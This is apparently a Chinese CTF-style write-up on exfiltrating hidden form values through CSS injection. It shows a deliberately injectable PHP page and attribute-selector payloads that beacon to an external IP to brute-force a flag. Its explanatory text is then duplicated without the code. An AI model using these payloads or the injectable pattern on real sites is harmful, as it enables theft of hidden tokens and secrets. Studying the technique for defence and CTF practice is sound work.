Open Aaisui opened 3 years ago
其实原理来说并不困难,如果我们翻阅过css的选择器的话就可以找到这么一段说明:
/* 存在href属性并且属性值包含"example"的<a> 元素 */ a[href^="#"] { background-color: gold; } /* 包含 "example" 的链接 */ a[href*="example"] { background-color: silver; } /* 包含 "insensitive" 的链接,不区分大小写 */ a[href*="insensitive" i] { color: cyan; } /* 包含 "cAsE" 的链接,区分大小写 */ a[href*="cAsE" s] { color: pink; } /* 以 ".org" 结尾的链接 */ a[href$=".org"] { color: red; } https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors
在这种情况下,我们可以获取到任意隐藏元素的值。假如有这么一段代码:
<html> <style> <?=preg_replace('#</style#i', '#', $_POST['css']) ?> </style> <form> <input name="Email" type="text" value="test"> <input name="flag" value="202cb962ac59075b964b07152d234b70"/> <input type="submit" value="提交"> </form> </html>
如果我们想要选择到这个flag标志,就可以通过如下方法:
input[value="202cb962ac59075b964b07152d234b70"]{ background: url(http://81.69.201.65:1234); }
即可选中元素,并且强大的选择器还允许我们通过多个括号加更多的条件,上面的选择我们也可以更精确的写为:
input[name="flag"][value="202cb962ac59075b964b07152d234b70"]{ background: url(http://81.69.201.65:1234); }
其实根据上面所写我们就可以猜想到了,只需要通过调控:
input[name="flag"][value^="flag{"]{ background: url(http://81.69.201.65:1234); }
就可以通过枚举的方法爆破出值,如果匹配到,通过background的操作就可以使得数据访问我们的VPS了
原理
其实原理来说并不困难,如果我们翻阅过css的选择器的话就可以找到这么一段说明:
css选择器
在这种情况下,我们可以获取到任意隐藏元素的值。假如有这么一段代码:
如果我们想要选择到这个flag标志,就可以通过如下方法:
即可选中元素,并且强大的选择器还允许我们通过多个括号加更多的条件,上面的选择我们也可以更精确的写为:
如何外带
其实根据上面所写我们就可以猜想到了,只需要通过调控:
就可以通过枚举的方法爆破出值,如果匹配到,通过background的操作就可以使得数据访问我们的VPS了